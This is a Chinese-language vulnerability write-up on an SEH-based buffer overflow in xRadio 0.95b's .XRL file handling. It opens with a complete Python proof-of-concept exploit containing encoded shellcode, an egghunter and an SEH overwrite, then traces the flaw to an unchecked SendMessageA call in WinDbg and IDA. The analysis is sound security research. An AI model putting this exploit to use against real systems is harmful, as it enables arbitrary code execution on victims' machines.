XRAIDO 0.95B '.XRL'本地代码执行漏洞

漏洞说明


软件下载:

https://www.exploit-db.com/apps/d4623b69bd1b881fa7e440ca79f44ef2-xradio-setup-0.95b.exe

PoC:

#!/usr/bin/python
#


#
# windows/messagebox - 590 bytes
# x86/alpha_upper
# http://www.metasploit.com
#
shellcode = ("\x89\xe1\xd9\xd0\xd9\x71\xf4\x59\x49\x49\x49\x49\x49\x43\x43"
    "\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41"
    "\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42"
    "\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50"
    "\x38\x41\x43\x4a\x4a\x49\x58\x59\x5a\x4b\x4d\x4b\x58\x59\x54"
    "\x34\x47\x54\x4c\x34\x50\x31\x58\x52\x4e\x52\x43\x47\x50\x31"
    "\x58\x49\x52\x44\x4c\x4b\x52\x51\x56\x50\x4c\x4b\x54\x36\x54"
    "\x4c\x4c\x4b\x54\x36\x45\x4c\x4c\x4b\x51\x56\x43\x38\x4c\x4b"
    "\x43\x4e\x47\x50\x4c\x4b\x56\x56\x50\x38\x50\x4f\x45\x48\x52"
    "\x55\x5a\x53\x51\x49\x45\x51\x58\x51\x4b\x4f\x4b\x51\x43\x50"
    "\x4c\x4b\x52\x4c\x51\x34\x47\x54\x4c\x4b\x50\x45\x47\x4c\x4c"
    "\x4b\x50\x54\x56\x48\x43\x48\x45\x51\x4b\x5a\x4c\x4b\x51\x5a"
    "\x45\x48\x4c\x4b\x50\x5a\x51\x30\x45\x51\x5a\x4b\x4d\x33\x50"
    "\x34\x51\x59\x4c\x4b\x56\x54\x4c\x4b\x45\x51\x5a\x4e\x56\x51"
    "\x4b\x4f\x50\x31\x49\x50\x4b\x4c\x4e\x4c\x4d\x54\x4f\x30\x43"
    "\x44\x45\x57\x4f\x31\x58\x4f\x54\x4d\x43\x31\x49\x57\x5a\x4b"
    "\x4c\x34\x47\x4b\x43\x4c\x56\x44\x51\x38\x54\x35\x4b\x51\x4c"
    "\x4b\x50\x5a\x56\x44\x45\x51\x5a\x4b\x52\x46\x4c\x4b\x54\x4c"
    "\x50\x4b\x4c\x4b\x51\x4a\x45\x4c\x45\x51\x5a\x4b\x4c\x4b\x43"
    "\x34\x4c\x4b\x45\x51\x4b\x58\x4d\x59\x51\x54\x56\x44\x45\x4c"
    "\x45\x31\x58\x43\x4f\x42\x45\x58\x51\x39\x49\x44\x4b\x39\x4d"
    "\x35\x4b\x39\x49\x52\x43\x58\x4c\x4e\x50\x4e\x54\x4e\x5a\x4c"
    "\x51\x42\x4d\x38\x4d\x4f\x4b\x4f\x4b\x4f\x4b\x4f\x4c\x49\x51"
    "\x55\x54\x44\x4f\x4b\x43\x4e\x4e\x38\x4d\x32\x43\x43\x4b\x37"
    "\x45\x4c\x56\x44\x56\x32\x5a\x48\x4c\x4e\x4b\x4f\x4b\x4f\x4b"
    "\x4f\x4b\x39\x51\x55\x45\x58\x43\x58\x52\x4c\x52\x4c\x51\x30"
    "\x47\x31\x43\x58\x56\x53\x47\x42\x56\x4e\x45\x34\x43\x58\x52"
    "\x55\x54\x33\x45\x35\x52\x52\x4b\x38\x51\x4c\x56\x44\x54\x4a"
    "\x4d\x59\x4d\x36\x50\x56\x4b\x4f\x51\x45\x54\x44\x4c\x49\x58"
    "\x42\x56\x30\x4f\x4b\x4e\x48\x4e\x42\x50\x4d\x4f\x4c\x4c\x47"
    "\x45\x4c\x51\x34\x50\x52\x5a\x48\x43\x51\x4b\x4f\x4b\x4f\x4b"
    "\x4f\x45\x38\x43\x52\x52\x52\x51\x48\x47\x50\x45\x38\x52\x43"
    "\x52\x4f\x52\x4d\x56\x4e\x52\x48\x43\x55\x43\x55\x52\x4b\x56"
    "\x4e\x52\x48\x45\x37\x52\x4f\x43\x44\x52\x47\x50\x31\x49\x4b"
    "\x4c\x48\x51\x4c\x56\x44\x54\x4e\x4c\x49\x5a\x43\x52\x48\x52"
    "\x4c\x43\x58\x50\x30\x56\x38\x43\x58\x45\x32\x56\x50\x52\x54"
    "\x43\x55\x50\x31\x49\x59\x4b\x38\x50\x4c\x47\x54\x45\x57\x4c"
    "\x49\x4b\x51\x56\x51\x58\x52\x43\x5a\x47\x30\x50\x53\x50\x51"
    "\x51\x42\x4b\x4f\x58\x50\x56\x51\x49\x50\x56\x30\x4b\x4f\x50"
    "\x55\x43\x38\x41\x41")

junk = "\x41" * 3248
tag = "\x77\x30\x30\x74\x77\x30\x30\x74"    # w00tw00t
nops = "\x90" * 230

# Of course we don't need this.. It was just for fun...
#
egghunter = ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
             "\x77\x30\x30\x74\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")    # 32 bytes

nseh = "\xeb\x88\x90\x90"      # jump back 118 bytes
seh  = "\x82\xe2\x47\x00"      # pop eax - pop ebx - ret at 0x0047E282 [xradio.exe]
junk2 = "\x42" * 884

try:
    file = open('b0t.xrl','w');
    file.write(junk+tag+shellcode+nops+egghunter+nseh+seh+junk2);
    file.close();
    print "\n[*] gotgeek labs"
    print "[*] http://gotgeek.com.br\n"
    print "[+] b0t.xrl created."
    print "[+] Open xRadio.exe..."
    print "[+] and Radios >> Edit List >> Save radio list"
    print "[+] Select the *.xrl file, press Yes and boom!!\n"
except:
    print "\n[-] Error.. Can't write file to system.\n"

测试环境:

windows xp sp3

按照poc中生成xrl文件,随后使用Radios的Edit List,然后选择生成的畸形xrl文件,点击save radio list,会触发这个漏洞。


漏洞复现


此漏洞是由于sub_42C108函数在处理文件内容时没有进行长度检查,从而导致函数中在调用SendMessageA时畸形字符串覆盖了特定位置的指针,在后续调用中进行指针读取时读取到不可读的地址,最后进入SEH异常处理,再通过对SEH指针的覆盖,使程序可控。下面对此漏洞进行详细分析。

首先按照PoC流程,加载样本,程序崩溃,附加Windbg,得到崩溃时信息。

(544.67c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=41414141 ecx=00000000 edx=00ac6798 esi=0012e9e8 edi=00ac6798
eip=00403bfc esp=0012e9b8 ebp=0012f9ec iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
*** WARNING: Unable to verify checksum for C:\Program Files\xRadio\xRadio.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program 
Files\xRadio\xRadio.exe
xRadio+0x3bfc:
00403bfc 8b10            mov     edx,dword ptr [eax]  ds:0023:41414141=????????

可以看到eax作为存放指针这里进行赋值操作,而eax地址明显不可读,且为我们PoC样本中的值,可控,接下来通过kb查看一下堆栈调用。

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0012f9ec 41414141 41414141 41414141 41414141 xRadio+0x3bfc
0012f9f0 41414141 41414141 41414141 41414141 0x41414141
0012f9f4 41414141 41414141 41414141 41414141 0x41414141
0012f9f8 41414141 41414141 41414141 41414141 0x41414141
0012fca0 41414141 41414141 41414141 41414141 0x41414141
0012fda0 00438310 00ab2674 0012fe14 004ad795 0x41414141

0012fdac 004ad795 00aad378 00442b02 00000000 xRadio+0x38310
0012fe14 00444874 0012fed4 0044487e 0012fe38 xRadio+0xad795
0012fe38 0044851a 00000111 00000002 00000000 xRadio+0x44874

可以看到栈中已经被破坏,这里我省略了中间在栈中填充的无用数据,而0012fdac位置的栈距离栈顶位置过远,如果从那个位置回溯步骤过于复杂,这时我们通过查看esp发现了一个有意思的地方。

0:000> dd esp
0012e9b8  00403d0c 00000000 00ab56b8 00001388
0012e9c8  0042c185 0012f9f4 0042c19e 0012f9ec
0012e9d8  00428bd8 00000001 00ab2674 00000000

虽然kb无法回溯,但是esp栈顶位置却没有被破坏!

这样我们可以通过00403d0c和0042c185这些地址进行回溯,那么我们就由此入手来分析一下到底问题出在什么地方。


漏洞分析


首先我们来看一下00403d0c这个位置的loc调用。

CODE:00403D05 loc_403D05:                             ; CODE XREF: sub_403CE4+16j
CODE:00403D05                 mov     eax, ebx
CODE:00403D07                 call    sub_403BFC

通过重新附加我们发现这个sub函数在程序处理过程中经常会被调用,因此我们用条件断点的方法可以快速定位到漏洞触发前的位置,但首先我们要关心一下整个函数的处理逻辑。

首先我们可以看到在loc函数中,sub_403BFC漏洞函数处理之前,进行了一次mov指令操作将ebx赋值给eax,而eax正是我们要传递的指针。

因此我们需要观察ebx是在何时被修改的。

按照这个思路我们继续向上回溯。

CODE:00403CE4 sub_403CE4      proc near               ; CODE XREF: sub_402984+66p
CODE:00403CE4                                         ; sub_4029FC+28p ...
CODE:00403CE4                 push    ebx
CODE:00403CE5                 push    esi
CODE:00403CE6                 push    edi
CODE:00403CE7                 mov     ebx, eax          ;key!!!!
CODE:00403CE9                 mov     esi, edx
CODE:00403CEB                 mov     edi, ecx
CODE:00403CED                 mov     eax, edi
CODE:00403CEF                 call    sub_403CC0

在key的位置,eax寄存器赋值给ebx,而这里就是ebx被修改成41414141的位置,那么eax既然没有作为寄存器被push进来,它就有可能是sub_403ce4的传参,那么我们来看一下这个函数定义的伪代码。

int __usercall sub_403CE4@<eax>(int *a1@<eax>, int a2@<edx>, int a3@<ecx>)

可以看到eax果然是传参,而且还是一个指针,接下来我们在这里下条件断点,跟踪程序看看是不是这么一回事。

0:000> bc 0
0:000> bp 00403CE4 ".if(@eax=0x41414141){;}.else{g;}"
eax=41414141 ebx=00001388 ecx=00001388 edx=0012e9e8 esi=00ab56b8 edi=00000000
eip=00403ce4 esp=0012e9c8 ebp=0012f9ec iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
xRadio+0x3ce4:
00403ce4 53              push    ebx

在eax条件断点后,果然在进入函数时,eax就已经被覆盖了,之前提到这里eax应该是一个地址指针,那么作为41414141传入就明显存在问题,看来漏洞出现在外层函数,继续向外层函数回溯。

0:000> dd esp
0012e9c8  0042c185 0012f9f4 0042c19e 0012f9ec
0012e9d8  00428bd8 00000001 00ab2674 00000000
0012e9e8  41414141 41414141 41414141 41414141

利用之前的思路,我们看一下esp,果然还是栈顶位置没有被破坏,于是我们继续向外层函数定位。

CODE:0042C175 loc_42C175:                             ; CODE XREF: sub_42C108+4Cj
CODE:0042C175                 lea     edx, [ebp+lParam]
CODE:0042C17B                 mov     eax, [ebp+var_4]
CODE:0042C17E                 mov     ecx, ebx
CODE:0042C180                 call    sub_403CE4

在外层函数下断点后,发现程序一次就中断在打开漏洞PoC后,可见这里基本就是漏洞函数了,下面我们要看一下这个函数问题出在什么地方。

首先我们可以俺看到出现问题的eax寄存器在0042c17b位置被var_4赋值,那么实际上,在windbg调试时[ebp+var_4]这个地址就是[ebp-4]的位置,这个地方我们要记住,后面再windbg动态调试时要用到,先不管,来看一下这个地址是在什么地方被赋值的。

CODE:0042C108
CODE:0042C108                 push    ebp
CODE:0042C109                 mov     ebp, esp
CODE:0042C10B                 add     esp, 0FFFFF004h
CODE:0042C111                 push    eax
CODE:0042C112                 add     esp, 0FFFFFFF8h
CODE:0042C115                 push    ebx
CODE:0042C116                 push    esi
CODE:0042C117                 push    edi
CODE:0042C118                 xor     ebx, ebx
CODE:0042C11A                 mov     [ebp+var_1008], ebx
CODE:0042C120                 mov     [ebp+var_4], ecx   ;key!!

距离这个函数入口不远处的ecx赋值给了[ebp+var_4],那么如果问题出现在这里,ecx又作为传参进入函数的话,那么就必须要再次向外层函数回溯,这里我们要具体看一下到底罪魁祸首是不是在这个位置。用winbg跟踪。

0:000> p
eax=00ab56b8 ebx=00000000 ecx=0012fa14 edx=00000000 esi=00000001 edi=00428bd8
eip=0042c120 esp=0012e9d8 ebp=0012f9ec iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
xRadio+0x2c120:
0042c120 894dfc          mov     dword ptr [ebp-4],ecx ss:0023:0012f9e8=00000000
0:000> p
eax=00ab56b8 ebx=00000000 ecx=0012fa14 edx=00000000 esi=00000001 edi=00428bd8
eip=0042c123 esp=0012e9d8 ebp=0012f9ec iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
xRadio+0x2c123:
0042c123 8bfa            mov     edi,edx
0:000> dd ebp-4
0012f9e8  0012fa14 0012fa20 004a023f 0012fbd8
0012f9f8  004a02dd 0012fa20 0000000b 00ab4800
0012fa08  00ab4800 00000000 00000000 00000000
0012fa18  00ac5dd8 00000001 0012fa48 00433614
0012fa28  00ab4800 00459c17 00459bf4 00459bda
0012fa38  0012fc08 00ab4800 00459b00 00004800
0012fa48  0012fbd0 00433989 0000000b 0000000f
0012fa58  00000000 0012fc08 00ab4800 00ab4800

可以看到,赋值结束后,ebp+var_4并没有被畸形字符串赋值,证明这个漏洞问题就出现在这个函数中,接下来我们继续跟踪。

0:000> p
eax=00460256 ebx=00000000 ecx=0012fa14 edx=00000000 esi=00ab56b8 edi=00000000
eip=0042c14a esp=0012e9c0 ebp=0012f9ec iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
xRadio+0x2c14a:
0042c14a 50              push    eax
0:000> dd ebp-4
0012f9e8  0012fa14 0012fa20 004a023f 0012fbd8
0012f9f8  004a02dd 0012fa20 0000000b 00ab4800
0012fa08  00ab4800 00000000 00000000 00000000
0012fa18  00ac5dd8 00000001 0012fa48 00433614
0012fa28  00ab4800 00459c17 00459bf4 00459bda
0012fa38  0012fc08 00ab4800 00459b00 00004800
0012fa48  0012fbd0 00433989 0000000b 0000000f
0012fa58  00000000 0012fc08 00ab4800 00ab4800
0:000> p
eax=00460256 ebx=00000000 ecx=0012fa14 edx=00000000 esi=00ab56b8 edi=00000000
eip=0042c14b esp=0012e9bc ebp=0012f9ec iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
xRadio+0x2c14b:
0042c14b e834b3fdff      call    xRadio+0x7484 (00407484)
0:000> p
eax=00001388 ebx=00000000 ecx=00001388 edx=0012e948 esi=00ab56b8 edi=00000000
eip=0042c150 esp=0012e9cc ebp=0012f9ec iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
xRadio+0x2c150:
0042c150 8bd8            mov     ebx,eax
0:000> dd ebp-4
0012f9e8  41414141 41414141 41414141 41414141
0012f9f8  41414141 41414141 41414141 41414141
0012fa08  41414141 41414141 41414141 41414141
0012fa18  41414141 41414141 41414141 41414141
0012fa28  41414141 41414141 41414141 41414141
0012fa38  41414141 41414141 41414141 41414141
0012fa48  41414141 41414141 41414141 41414141
0012fa58  41414141 41414141 41414141 41414141

可以看到在call调用后,ebp-4位置被覆盖,我们来看一下这块的ida

CODE:0042C129                 push    ebp
CODE:0042C12A                 push    offset loc_42C19E
CODE:0042C12F                 push    dword ptr fs:[eax]
CODE:0042C132                 mov     fs:[eax], esp
CODE:0042C135                 lea     eax, [ebp+lParam]
CODE:0042C13B                 push    eax             ; lParam
CODE:0042C13C                 push    edi             ; wParam
CODE:0042C13D                 push    189h            ; Msg
CODE:0042C142                 mov     eax, [esi+0Ch]
CODE:0042C145                 call    sub_43840C
CODE:0042C14A                 push    eax             ; hWnd
CODE:0042C14B                 call    SendMessageA

问题就出在SendMessageA,在窗口消息传递时导致缓冲区被覆盖。ebp+var_4只是受害者。

 v8 = (HWND)sub_43840C();
  v10 = SendMessageA(v8, 0x189u, v6, (LPARAM)&lParam);
  if ( v10 < 0 )
  {
    sub_405CAC(v9, &v19);
    sub_412A18(v13, v14, v15, v16);
  }
  sub_403CE4(v22, (int)&lParam, v10);

之后就是之前回溯的那样,由于ebp-4位置被覆盖,导致后续v22赋值被畸形字符串赋值,从而传入。

 v7 = v5;
  v8 = v6;
  if ( v4 )
    sub_402944(v4, v6, v7);
  result = sub_403BFC(v7);

在内层函数中,v5会赋值给v7,在result中调用v7,由于v7不可读,导致了程序进入SEH异常处理,SEH指针被覆盖,从而导致了程序远程代码执行。

相关文章
相关标签/搜索